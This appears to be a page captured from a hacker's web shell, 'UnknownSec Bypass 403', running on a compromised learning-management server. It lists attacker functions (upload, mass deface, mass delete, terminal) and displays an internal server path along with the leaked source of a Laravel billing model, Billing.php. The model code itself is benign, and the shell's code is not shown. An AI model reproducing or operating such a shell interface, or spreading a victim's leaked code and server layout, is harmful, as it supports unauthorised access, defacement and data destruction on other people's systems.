UnknownSec Bypass
403
:
/
mnt
/
lmsestudio-instance-vol002
/
lms_6fbfb04ec4c8
/
app
/
Models
/
Financial
/ [
drwxr-xr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
Billing.php
<?php namespace EstudioLMS\Models\Financial; use Carbon\Carbon; use Illuminate\Database\Eloquent\Model; /** * EstudioLMS\Models\Financial\Billing * * @property int $id * @property int $hirings_id * @property string $due_date * @property int $installment * @property float $net_amount * @property float $fee_amount * @property float $paid_amount * @property int $our_number * @property string $our_number_boleto * @property string $paid_in * @property int $billing_status_id * @property \Carbon\Carbon $created_at * @property \Carbon\Carbon $updated_at * @property-read mixed $due_date_show * @property-read mixed $total_amount * @property-read \EstudioLMS\Models\Financial\HireHeader $hire * @property-read \EstudioLMS\Models\Financial\BillingStatus $status * @method static \Illuminate\Database\Query\Builder|\EstudioLMS\Models\Financial\Billing whereBillingStatusId($value) * @method static \Illuminate\Database\Query\Builder|\EstudioLMS\Models\Financial\Billing whereCreatedAt($value) * @method static \Illuminate\Database\Query\Builder|\EstudioLMS\Models\Financial\Billing whereDueDate($value) * @method static \Illuminate\Database\Query\Builder|\EstudioLMS\Models\Financial\Billing whereFeeAmount($value) * @method static \Illuminate\Database\Query\Builder|\EstudioLMS\Models\Financial\Billing whereHireHeaderId($value) * @method static \Illuminate\Database\Query\Builder|\EstudioLMS\Models\Financial\Billing whereId($value) * @method static \Illuminate\Database\Query\Builder|\EstudioLMS\Models\Financial\Billing whereInstallment($value) * @method static \Illuminate\Database\Query\Builder|\EstudioLMS\Models\Financial\Billing whereNetAmount($value) * @method static \Illuminate\Database\Query\Builder|\EstudioLMS\Models\Financial\Billing whereOurNumber($value) * @method static \Illuminate\Database\Query\Builder|\EstudioLMS\Models\Financial\Billing whereOurNumberBoleto($value) * @method static \Illuminate\Database\Query\Builder|\EstudioLMS\Models\Financial\Billing wherePaidAmount($value) * @method static \Illuminate\Database\Query\Builder|\EstudioLMS\Models\Financial\Billing wherePaidIn($value) * @method static \Illuminate\Database\Query\Builder|\EstudioLMS\Models\Financial\Billing whereUpdatedAt($value) * @mixin \Eloquent */ class Billing extends Model { protected $fillable = [ 'hirings_id', 'due_date', 'installment', 'net_amount', 'fee_amount', 'paid_amount', 'our_number', 'our_number_boleto', 'paid_in', 'billing_status_id', ]; protected $appends = [ 'due_date_show', 'total_amount' ]; /** * @return \Illuminate\Database\Eloquent\Relations\BelongsTo */ public function hire() { return $this->belongsTo('EstudioLMS\Models\Financial\Hiring', 'hirings_id', 'id'); } /** * @return \Illuminate\Database\Eloquent\Relations\HasOne */ public function status() { return $this->hasOne('EstudioLMS\Models\Financial\BillingStatus', 'id', 'billing_status_id'); } /** * @return string */ public function getDueDateShowAttribute() { return Carbon::createFromFormat('Y-m-d H:i:s', $this->attributes['due_date'])->format('d/m/Y'); } /** * @return mixed */ public function getTotalAmountAttribute() { return $this->attributes['net_amount'] + $this->attributes['fee_amount']; } /** * @return \Illuminate\Database\Eloquent\Relations\HasMany */ public function paghipers() { return $this->hasMany('EstudioLMS\Models\Financial\PostbackPaghiper','billings_id', 'id'); } }
Copyright © 2026 - UnknownSec